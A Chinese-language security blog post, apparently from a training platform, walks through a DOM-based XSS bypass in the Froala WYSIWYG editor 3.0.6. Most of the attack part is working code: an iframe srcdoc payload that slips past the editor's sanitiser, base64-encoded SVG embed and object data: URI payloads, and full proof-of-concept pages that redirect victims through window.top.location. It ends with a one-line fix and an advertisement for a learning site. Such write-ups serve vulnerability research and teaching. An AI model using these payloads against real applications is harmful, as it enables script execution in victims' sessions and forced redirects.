XSS漏洞可以说是初学者最容易发现的安全漏洞之一了,但是在目前各种WAF、CSP越来越严苛的情况下,XSS也早没有前几年那么容易发掘了。很多朋友私信向我反馈,为什么自己在靶场里可以如鱼得水地完成题目,一到真实站点的挖掘中就束手无措了,就是因为学的思路和测试技巧都已经被WAF过滤完了,说简单点就是仅靠一些入门级别的测试手法基本上很难挖到漏洞了。
所以不要再反复问,学了一些网络安全入门应该怎么去挖漏洞?仅靠入门是挖不到的~
那如何进阶呢?主要可以通过以下两个方面:
- 关注前沿技术
- 持续学习
我先说第1个方面:关注前沿技术。相信关注二向箔安全比较长一段时间的朋友都知道,我们经常会发布一些新的技术性文章,这类文章读起来都比较晦涩难懂,所以阅读量也比较低。但是如果你耐着性子读懂过某一篇技术文章,那你的收获一定会比你花一下午时间练习一些普通靶场多得多。
关注前沿技术
那就先进入今天的主题,学习点新姿势—如何发现一个0-day XSS?
测试的网站是一个叫做Froala的网站,它是一款采用的Javascript语言编写的所见即所得的轻量级HTML编辑器,可以位web应用提供丰富的文本编辑功能。Froala对用户的输入进行了过滤清理,可以防止XSS跨站脚本攻击。
在Compass进行的Web应用程序渗透测试期间,我在Froala WYSIWYG HTML编辑器中发现了基于DOM的跨站点脚本XSS。插入DOM时,因为没有正确清理编辑器中的HTML代码。这使得攻击者可以控制编辑器内容,以便在受害者会话的上下文中执行任意JavaScript 。
通过将<iframe>标签和srcdoc属性插入编辑器,就可以在Froala编辑器中执行基于DOM的XSS :
<iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>
可以通过将有效payload插入编辑器的“代码视图”中来进行验证:
到这儿,这还仅仅只是个self-XSS,用户只能在自己的客户端里进行弹窗。但是我猜测,是否有可能将来自不受信任的数据加载到编辑器中以加以利用呢?例如一个Web应用程序,其中多个用户可以使用此编辑器编辑相同的内容。
这样攻击者就可以使用它在用户会话中执行自己的JavaScript代码。这可能会被用来读取受害者帐户的内容,使用会话向Web应用程序发出进一步的请求或读取Cookie或Web存储。
测试细节
根据Froala技术支持页面“为什么要删除<script>标签?”所指出的内容,<script>标签被删除以防止可能的XSS攻击 。
当你在尝试插入其他HTML标记和事件处理程序的XSSpayload之前,它们也会从将其DOM中删除。
可以使用托管在PoC上的PoC进行验证,该PoC http://poc.example.net可以将带有<script>标签的可能不受信任的数据插入到编辑器中:
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" />
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script>
<div id="froala-editor"></div>
<script>
let editor = new FroalaEditor('div#froala-editor', {}, function() {
// This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest
data = "<s>Hello</s><script>console.log(document.domain)</script><u>Compass</u>";
// Inserting untrusted data into the editor
editor.html.set(data);
// Show how the untrusted data is embedded into the DOM
console.log(editor.html.get());
})
</scri
JavaScript控制台显示合法的HTML标记(例如<s>或)<u>已插入DOM中,但该<script>标记已正确删除(如预期的那样),因此未执行JavaScript:
<p><s>Hello</s><u>Compass</u></p>
一般来说,这是可以找到有效的XSS的地方,比如说通过插入<img>带有onerror事件的处理程序的标签,作为XSS攻击向量:
[...]
data = "<s>Hello</s><img src=x onerror=console.log(document.domain)><u>Compass</u>";
[...]
尝试了一下,可以发现JavaScript控制台再次显示插入了合法的HTML标签以及该<img>标签,但没有使用过的onerror事件处理程序。因此,未执行JavaScript:
<p><s>Hello</s><img src="x" class="fr-fic fr-dii"><u>Compass</u></p>
这说明不可能将通用的一些XSS payload加载并执行到编辑器中。
xss绕过
我尝试了PortSwigger 的XSS备忘单中的每个事件处理程序,但是所有这些事件处理程序都被阻止了。但是也就是多亏了XSS备忘单,我发现了一个HTML标记,其属性不是以on开头,它可以在网站的原始位置执行JavaScript,此标签没有被过滤。这就是<iframe>带有的srcdoc属性的标签。该srcdoc属性指定想要在内联框架中显示的页面HTML内容。这可以用来嵌入JavaScript代码。该代码在嵌入iframe的网站的原始位置运行。
有效的xss payload:
[...]
data = "<s>Hello</s><iframe srcdoc="<img src=x onerror=console.log(document.domain)>"></iframe><u>Compass</u>";
[...]
可以看到,JavaScript控制台显示<iframe>带有srcdoc属性的标签已插入DOM中,没有被清除。同样,带有<img>标签和onerror事件处理程序的iframe的内容也未被清除。此外,还会打印托管PoC网站的来源:
<p><s>Hello</s><iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe><u>Compass</u></p>
poc.example.net
所以,这表明可以使用以下XSS payload来将JavaScript注入并执行到DOM中,从而产生基于DOM的XSS:
<iframe srcdoc="<img src=x onerror=console.log(document.domain)>"></iframe>
注意:<img>带有onerror事件处理程序的标签是srcdoc属性的数据内容,而不是浏览器的代码。在之后构建iframe的内容时会将其呈现为代码。
注入的JavaScript代码会在Froala编辑器的网站的原始位置运行。接下来我将解释为什么我要明确提及这一点。
具有 Undefined / Empty 源的xss
在Froala GitHub存储库中,有几个关于XSS的问题被标记为“开放”和“已修复”。但是,大多数这些XSS都是从另一个来源运行的,即加载编辑器的网站。
例子1
例如,问题#3270 被标记为已关闭,使用嵌入式对象(<embed>标记)来执行JavaScript:
有效payload示例:
[...]
data = "<EMBED/SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y29uc29sZS5sb2coZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0Pjwvc3ZnPgo=">"
[....]
base64解码出来的内容是包含JavaScript的SVG图像:
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss">
<script type="text/ecmascript">console.log(document.domain)</script>
</svg>
JavaScript控制台显示代码已执行,但源为undefined:
<p><embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y29uc29sZS5sb2coZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0Pjwvc3ZnPgo="></p>
undefined
例子2
另一个示例是问题#3039 ,它被标记为已关闭,它使用<object>标签嵌入HTML / JavaScript代码:
有效负载示例(可以对有效负载进行base64编码,但不是必需的):
[...]
data = "<object data='data:text/html,<svg onload=console.log(document.domain)>'>";
[...]
JavaScript控制台显示代码已执行,但源为empty:
<p><object data="data:text/html,<svg onload=console.log(document.domain)>"></object></p>
// empty line
利用原始/未定义来源的XSS
由于来源与托管PoC的来源不同,因此它不是典型的XSS,攻击者可以在其中读取受害者网站的内容,使用会话进行进一步的请求或访问Cookie或网络存储。
但是,仍然可以使用引用对进行任意重定向到其他网站window.top.location。
由于某些原因,这在JSFiddle中不起作用,但是您可以创建以下攻击页面并自己托管。
使用<object>标签重定向:
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" />
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script>
<div id="froala-editor"></div>
<script>
let editor = new FroalaEditor('div#froala-editor', {}, function() {
// This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest
data = "<object data='data:text/html,<svg onload=window.top.location="http://compass-security.com/">'>";
// Inserting untrusted data into the editor
editor.html.set(data);
// Show how the untrusted data is embedded into the DOM
console.log(editor.html.get());
})
</scri
使用<embed>标签可以完成相同的操作:
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" />
<link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script>
<div id="froala-editor"></div>
<script>
let editor = new FroalaEditor('div#froala-editor', {}, function() {
// This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest
data = "<EMBED/SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj4KICA8c2NyaXB0PndpbmRvdy50b3AubG9jYXRpb249Imh0dHA6Ly9jb21wYXNzLXNlY3VyaXR5LmNvbS8iPC9zY3JpcHQ+Cjwvc3ZnPgo=">"
// Inserting untrusted data into the editor
editor.html.set(data);
// Show how the untrusted data is embedded into the DOM
console.log(editor.html.get());
})
</scri
Base64有效负载(为了逃避攻击页面中的所有内容):
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss">
<script>window.top.location="http://compass-security.com/"</script>
</svg>
如何解决?
可以将受信任的数据或已清除的数据加载到编辑器中。
持续学习
除了关注我们分享的文章,关注一些前沿的技术,还有很重要的一点就是持续学习。给大家推荐一个可以免费持续性学习的网站:
知识广场zhishihezi.net这里面有部分是小编自己创作产出的,还有一部分是圈内比较厉害的大牛创作的进阶内容。这个平台目前是全免费的,更新频率也很快,大家可以持续关注,保持每天一定的学习量~
学习是一个很枯燥的过程,想要体会到挖洞的快乐,前期的知识积累可是不能偷懒的哦~